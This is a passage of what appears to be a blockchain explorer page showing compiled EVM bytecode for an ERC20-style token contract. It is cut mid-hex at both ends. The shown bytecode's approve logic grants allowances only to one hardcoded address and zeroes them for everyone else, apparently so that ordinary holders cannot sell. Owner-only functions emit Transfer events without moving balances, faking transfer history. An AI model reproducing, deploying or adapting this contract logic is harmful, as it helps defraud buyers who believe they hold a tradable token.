5cb5b116100de5780638da5cb5b1461042b57806395d89b4114610449578063985bdfd114610467578063a457c2d714610485576101da565b806370a08231146103d5578063715018a614610405578063721082971461040f576101da565b80632b14ca561161017c57806349bd5a5e1161014b57806349bd5a5e1461035f5780634c255c971461037d5780634e148e191461039b57806358a1aaae146103b7576101da565b80632b14ca56146102d5578063313ce567146102f357806339509351146103115780634706240214610341576101da565b806318160ddd116101b857806318160ddd1461024b57806321326f091461026957806323b872dd1461028757806327c8f835146102b7576101da565b806306fdde03146101df578063095ea7b3146101fd578063158ef93e1461022d575b600080fd5b6101e76105bf565b6040516101f49190611ed9565b60405180910390f35b61021760048036038101906102129190611fa3565b610651565b6040516102249190611ffe565b60405180910390f35b61023561066f565b6040516102429190611ffe565b60405180910390f35b610253610682565b6040516102609190612028565b60405180910390f35b61027161068c565b60405161027e9190612028565b60405180910390f35b6102a1600480360381019061029c9190612043565b610692565b6040516102ae9190611ffe565b60405180910390f35b6102bf61078a565b6040516102cc91906120a5565b60405180910390f35b6102dd6107b0565b6040516102ea9190612028565b60405180910390f35b6102fb6107d4565b60405161030891906120dc565b60405180910390f35b61032b60048036038101906103269190611fa3565b6107dd565b6040516103389190611ffe565b60405180910390f35b610349610889565b6040516103569190612028565b60405180910390f35b6103676108ad565b60405161037491906120a5565b60405180910390f35b6103856108d3565b6040516103929190612114565b60405180910390f35b6103b560048036038101906103b0919061215b565b6108d9565b005b6103bf6109c9565b6040516103cc9190612028565b60405180910390f35b6103ef60048036038101906103ea919061219b565b6109cf565b6040516103fc9190612028565b60405180910390f35b61040d610a18565b005b61042960048036038101906104249190612283565b610ab9565b005b610433610c1c565b60405161044091906120a5565b60405180910390f35b610451610c45565b60405161045e9190611ed9565b60405180910390f35b61046f610cd7565b60405161047c9190612114565b60405180910390f35b61049f600480360381019061049a9190611fa3565b610cdd565b6040516104ac9190611ffe565b60405180910390f35b6104cf60048036038101906104ca9190611fa3565b610dc8565b6040516104dc9190611ffe565b60405180910390f35b6104ff60048036038101906104fa9190612283565b610de6565b005b61051b60048036038101906105169190612448565b610f49565b005b610537600480360381019061053291906124c0565b611010565b005b6105416110b7565b60405161054e9190612028565b60405180910390f35b610571600480360381019061056c919061219b565b6110db565b005b61058d60048036038101906105889190612500565b6111b4565b60405161059a9190612028565b60405180910390f35b6105bd60048036038101906105b8919061219b565b61123b565b005b6060600480546105ce9061256f565b80601f01602080910402602001604051908101604052809291908181526020018280546105fa9061256f565b80156106475780601f1061061c57610100808354040283529160200191610647565b820191906000526020600020905b81548152906001019060200180831161062a57829003601f168201915b5050505050905090565b600061066561065e61134c565b8484611354565b6001905092915050565b600660009054906101000a900460ff1681565b6000600354905090565b60095481565b600061069f848484611655565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ea61134c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561076a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076190612613565b60405180910390fd5b61077e8561077661134c565b858403611354565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006012905090565b600061087f6107ea61134c565b8484600260006107f861134c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461087a9190612662565b611354565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61271081565b6108e161134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096590612704565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60085481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a2061134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa490612704565b60405180910390fd5b610ab76000611a4b565b565b610ac161134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590612704565b60405180910390fd5b60005b84849050811015610c1457848482818110610b6f57610b6e612724565b5b9050602002016020810190610b84919061219b565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610be557610be4612724565b5b90506020020135604051610bf99190612028565b60405180910390a38080610c0c90612753565b915050610b51565b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610c549061256f565b80601f0160208091040260200160405190810160405280929190818152602001828054610c809061256f565b8015610ccd5780601f10610ca257610100808354040283529160200191610ccd565b820191906000526020600020905b815481529060010190602001808311610cb057829003601f168201915b5050505050905090565b61271081565b60008060026000610cec61134c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da09061280e565b60405180910390fd5b610dbd610db461134c565b85858403611354565b600191505092915050565b6000610ddc610dd561134c565b8484611655565b6001905092915050565b610dee61134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290612704565b60405180910390fd5b60005b84849050811015610f4157848482818110610e9c57610e9b612724565b5b9050602002016020810190610eb1919061219b565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610f1257610f11612724565b5b90506020020135604051610f269190612028565b60405180910390a38080610f3990612753565b915050610e7e565b505050505050565b610f5161134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd590612704565b60405180910390fd5b8160049080519060200190610ff4929190611d9d565b50806005908051906020019061100b929190611d9d565b505050565b61101861134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c90612704565b60405180910390fd5b81600881905550806009819055505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6110e361134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612704565b60405180910390fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61124361134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c790612704565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906128a0565b60405180910390fd5b61134981611a4b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb90612932565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142b9061299e565b60405180910390fd5b73dc60dcc9309855cde436b2b85c022841a843242773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115675780600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161155a9190612028565b60405180910390a3611650565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040516116479190612a03565b60405180910390a35b505050565b60011515600660009054906101000a900460ff161515146116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a290612a6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561171c575060011515600660009054906101000a900460ff161515145b156117d457611729610c1c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806117945750611765610c1c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ca90612ad6565b60405180910390fd5b5b6000819050600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561186b575061183b610c1c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118aa575061187a610c1c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a3a576000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156119115760085490506119d1565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156119d05760011515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156119c957600090506119cf565b60095490505b5b5b6000811115611a3857600061271061ffff1682856119ef9190612af6565b6119f99190612b7f565b90508084611a079190612bb0565b9250611a3686600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611b0f565b505b505b611a45848483611b0f565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7690612c56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690612ce8565b60405180910390fd5b611bfa838383611d93565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7890612d7a565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d169190612662565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d7a9190612028565b60405180910390a3611d8d848484611d98565b50505050565b505050565b505050565b828054611da99061256f565b90600052602060002090601f016020900481019282611dcb5760008555611e12565b82601f10611de457805160ff1916838001178555611e12565b82800160010185558215611e12579182015b82811115611e11578251825591602001919060010190611df6565b5b509050611e1f9190611e23565b5090565b5b80821115611e3c576000816000905550600101611e24565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e7a578082015181840152602081019050611e5f565b83811115611e89576000848401525b50505050565b6000601f19601f8301169050919050565b6000611eab82611e40565b611eb58185611e4b565b9350611ec5818560208601611e5c565b611ece81611e8f565b840191505092915050565b60006020820190508181036000830152611ef38184611ea0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f3a82611f0f565b9050919050565b611f4a81611f2f565b8114611f5557600080fd5b50565b600081359050611f6781611f41565b92915050565b6000819050919050565b611f8081611f6d565b8114611f8b57600080fd5b50565b600081359050611f9d81611f77565b92915050565b60008060408385031215611fba57611fb9611f05565b5b6000611fc885828601611f58565b9250506020611fd985828601611f8e565b9150509250929050565b60008115159050919050565b611ff881611fe3565b82525050565b60006020820190506120136000830184611fef565b92915050565b61202281611f6d565b82525050565b600060208201905061203d6000830184612019565b92915050565b60008060006060848603121561205c5761205b611f05565b5b600061206a86828701611f58565b935050602061207b86828701611f58565b925050604061208c86828701611f8e565b9150509250925092565b61209f81611f2f565b82525050565b60006020820190506120ba6000830184612096565b92915050565b600060ff82169050919050565b6120d6816120c0565b82525050565b60006020820190506120f160008301846120cd565b92915050565b600061ffff82169050919050565b61210e816120f7565b82525050565b60006020820190506121296000830184612105565b92915050565b61213881611fe3565b811461214357600080fd5b50565b6000813590506121558161212f565b92915050565b6000806040838503121561217257612171611f05565b5b600061218085828601611f58565b925050602061219185828601612146565b9150509250929050565b6000602082840312156121b1576121b0611f05565b5b60006121bf84828501611f58565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126121ed576121ec6121c8565b5b8235905067ffffffffffffffff81111561220a576122096121cd565b5b602083019150836020820283011115612226576122256121d2565b5b9250929050565b60008083601f840112612243576122426121c8565b5b8235905067ffffffffffffffff8111156122605761225f6121cd565b5b60208301915083602082028301111561227c5761227b6121d2565b5b9250929050565b60008060008060006060868803121561229f5761229e611f05565b5b60006122ad88828901611f58565b955050602086013567ffffffffffffffff8111156122ce576122cd611f0a565b5b6122da888289016121d7565b9450945050604086013567ffffffffffffffff8111156122fd576122fc611f0a565b5b6123098882890161222d565b92509250509295509295909350565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61235582611e8f565b810181811067ffffffffffffffff821117156123745761237361231d565b5b80604052505050565b6000612387611efb565b9050612393828261234c565b919050565b600067ffffffffffffffff8211156123b3576123b261231d565b5b6123bc82611e8f565b9050602081019050919050565b82818337600083830152505050565b60006123eb6123e684612398565b61237d565b90508281526020810184848401111561240757612406612318565b5b6124128482856123c9565b509392505050565b600082601f83011261242f5761242e6121c8565b5b813561243f8482602086016123d8565b91505092915050565b6000806040838503121561245f5761245e611f05565b5b600083013567ffffffffffffffff81111561247d5761247c611f0a565b5b6124898582860161241a565b925050602083013567ffffffffffffffff8111156124aa576124a9611f0a565b5b6124b68582860161241a565b9150509250929050565b600080604083850312156124d7576124d6611f05565b5b60006124e585828601611f8e565b92505060206124f685828601611f8e565b9150509250929050565b6000806040838503121561251757612516611f05565b5b600061252585828601611f58565b925050602061253685828601611f58565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061258757607f821691505b6020821081141561259b5761259a612540565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006125fd602883611e4b565b9150612608826125a1565b604082019050919050565b6000602082019050818103600083015261262c816125f0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061266d82611f6d565b915061267883611f6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ad576126ac612633565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006126ee602083611e4b565b91506126f9826126b8565b602082019050919050565b6000602082019050818103600083015261271d816126e1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061275e82611f6d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561279157612790612633565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006127f8602583611e4b565b91506128038261279c565b604082019050919050565b60006020820190508181036000830152612827816127eb565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061288a602683611e4b565b91506128958261282e565b604082019050919050565b600060208201905081810360008301526128b98161287d565b9050919050565b7f4552433a20617070726f76652066726f6d20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061291c602283611e4b565b9150612927826128c0565b604082019050919050565b6000602082019050818103600083015261294b8161290f565b9050919050565b7f4552433a20617070726f766520746f20746865207a65726f2061646472657373600082015250565b6000612988602083611e4b565b915061299382612952565b602082019050919050565b600060208201905081810360008301526129b78161297b565b9050919050565b6000819050919050565b6000819050919050565b60006129ed6129e86129e3846129be565b6129c8565b611f6d565b9050919050565b6129fd816129d2565b82525050565b6000602082019050612a1860008301846129f4565b92915050565b7f436f6e74726163743a207472616465206973206e6f74206f70656e2100000000600082015250565b6000612a54601c83611e4b565b9150612a5f82612a1e565b602082019050919050565b60006020820190508181036000830152612a8381612a47565b9050919050565b7f436f6e74726163743a2074726164696e67206973206e6f742073746172746564600082015250565b6000612ac0602083611e4b565b9150612acb82612a8a565b602082019050919050565b60006020820190508181036000830152612aef81612ab3565b9050919050565b6000612b0182611f6d565b9150612b0c83611f6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b4557612b44612633565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b8a82611f6d565b9150612b9583611f6d565b925082612ba557612ba4612b50565b5b828204905092915050565b6000612bbb82611f6d565b9150612bc683611f6d565b925082821015612bd957612bd8612633565b5b828203905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c40602583611e4b565b9150612c4b82612be4565b604082019050919050565b60006020820190508181036000830152612c6f81612c33565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cd2602383611e4b565b9150612cdd82612c76565b604082019050919050565b60006020820190508181036000830152612d0181612cc5565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612d64602683611e4b565b9150612d6f82612d08565b604082019050919050565b60006020820190508181036000830152612d9381612d57565b905091905056fea2646970667358221220ac45769dc04be1695b9c7f47f6f8c6528748d9d8f499f19bbc56b6762ff2019764736f6c634300080a0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101da5760003560e01c806370a0823111610104578063a9059cbb116100a2578063d5abeb0111610071578063d5abeb0114610539578063d5aed6bf14610557578063dd62ed3e14610573578063f2fde38b146105a3576101da565b8063a9059cbb146104b5578063b22c95e7146104e5578063bf0058d014610501578063d4d714be1461051d576101da565b80638da5cb5b116100de5780638da5cb5b1461042b57806395d89b4114610449578063985bdfd114610467578063a457c2d714610485576101da565b806370a08231146103d5578063715018a614610405578063721082971461040f576101da565b80632b14ca561161017c57806349bd5a5e1161014b57806349bd5a5e1461035f5780634c255c971461037d5780634e148e191461039b57806358a1aaae146103b7576101da565b80632b14ca56146102d5578063313ce567146102f357806339509351146103115780634706240214610341576101da565b806318160ddd116101b857806318160ddd1461024b57806321326f091461026957806323b872dd1461028757806327c8f835146102b7576101da565b806306fdde03146101df578063095ea7b3146101fd578063158ef93e1461022d575b600080fd5b6101e76105bf565b6040516101f49190611ed9565b60405180910390f35b61021760048036038101906102129190611fa3565b610651565b6040516102249190611ffe565b60405180910390f35b61023561066f565b6040516102429190611ffe565b60405180910390f35b610253610682565b6040516102609190612028565b60405180910390f35b61027161068c565b60405161027e9190612028565b60405180910390f35b6102a1600480360381019061029c9190612043565b610692565b6040516102ae9190611ffe565b60405180910390f35b6102bf61078a565b6040516102cc91906120a5565b60405180910390f35b6102dd6107b0565b6040516102ea9190612028565b60405180910390f35b6102fb6107d4565b60405161030891906120dc565b60405180910390f35b61032b60048036038101906103269190611fa3565b6107dd565b6040516103389190611ffe565b60405180910390f35b610349610889565b6040516103569190612028565b60405180910390f35b6103676108ad565b60405161037491906120a5565b60405180910390f35b6103856108d3565b6040516103929190612114565b60405180910390f35b6103b560048036038101906103b0919061215b565b6108d9565b005b6103bf6109c9565b6040516103cc9190612028565b60405180910390f35b6103ef60048036038101906103ea919061219b565b6109cf565b6040516103fc9190612028565b60405180910390f35b61040d610a18565b005b61042960048036038101906104249190612283565b610ab9565b005b610433610c1c565b60405161044091906120a5565b60405180910390f35b610451610c45565b60405161045e9190611ed9565b60405180910390f35b61046f610cd7565b60405161047c9190612114565b60405180910390f35b61049f600480360381019061049a9190611fa3565b610cdd565b6040516104ac9190611ffe565b60405180910390f35b6104cf60048036038101906104ca9190611fa3565b610dc8565b6040516104dc9190611ffe565b60405180910390f35b6104ff60048036038101906104fa9190612283565b610de6565b005b61051b60048036038101906105169190612448565b610f49565b005b610537600480360381019061053291906124c0565b611010565b005b6105416110b7565b60405161054e9190612028565b60405180910390f35b610571600480360381019061056c919061219b565b6110db565b005b61058d60048036038101906105889190612500565b6111b4565b60405161059a9190612028565b60405180910390f35b6105bd60048036038101906105b8919061219b565b61123b565b005b6060600480546105ce9061256f565b80601f01602080910402602001604051908101604052809291908181526020018280546105fa9061256f565b80156106475780601f1061061c57610100808354040283529160200191610647565b820191906000526020600020905b81548152906001019060200180831161062a57829003601f168201915b5050505050905090565b600061066561065e61134c565b8484611354565b6001905092915050565b600660009054906101000a900460ff1681565b6000600354905090565b60095481565b600061069f848484611655565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ea61134c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561076a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076190612613565b60405180910390fd5b61077e8561077661134c565b858403611354565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000001481565b60006012905090565b600061087f6107ea61134c565b8484600260006107f861134c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461087a9190612662565b611354565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61271081565b6108e161134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096590612704565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60085481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a2061134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa490612704565b60405180910390fd5b610ab76000611a4b565b565b610ac161134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590612704565b60405180910390fd5b60005b84849050811015610c1457848482818110610b6f57610b6e612724565b5b9050602002016020810190610b84919061219b565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610be557610be4612724565b5b90506020020135604051610bf99190612028565b60405180910390a38080610c0c90612753565b915050610b51565b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610c549061256f565b80601f0160208091040260200160405190810160405280929190818152602001828054610c809061256f565b8015610ccd5780601f10610ca257610100808354040283529160200191610ccd565b820191906000526020600020905b815481529060010190602001808311610cb057829003601f168201915b5050505050905090565b61271081565b60008060026000610cec61134c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da09061280e565b60405180910390fd5b610dbd610db461134c565b85858403611354565b600191505092915050565b6000610ddc610dd561134c565b8484611655565b6001905092915050565b610dee61134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290612704565b60405180910390fd5b60005b84849050811015610f4157848482818110610e9c57610e9b612724565b5b9050602002016020810190610eb1919061219b565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610f1257610f11612724565b5b90506020020135604051610f269190612028565b60405180910390a38080610f3990612753565b915050610e7e565b505050505050565b610f5161134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd590612704565b60405180910390fd5b8160049080519060200190610ff4929190611d9d565b50806005908051906020019061100b929190611d9d565b505050565b61101861134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c90612704565b60405180910390fd5b81600881905550806009819055505050565b7f0000000000000000000000000000000000000001431e0fae6d7217caa000000081565b6110e361134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612704565b60405180910390fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61124361134c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c790612704565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906128a0565b60405180910390fd5b61134981611a4b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c4576040517f08c379a000000000000000000000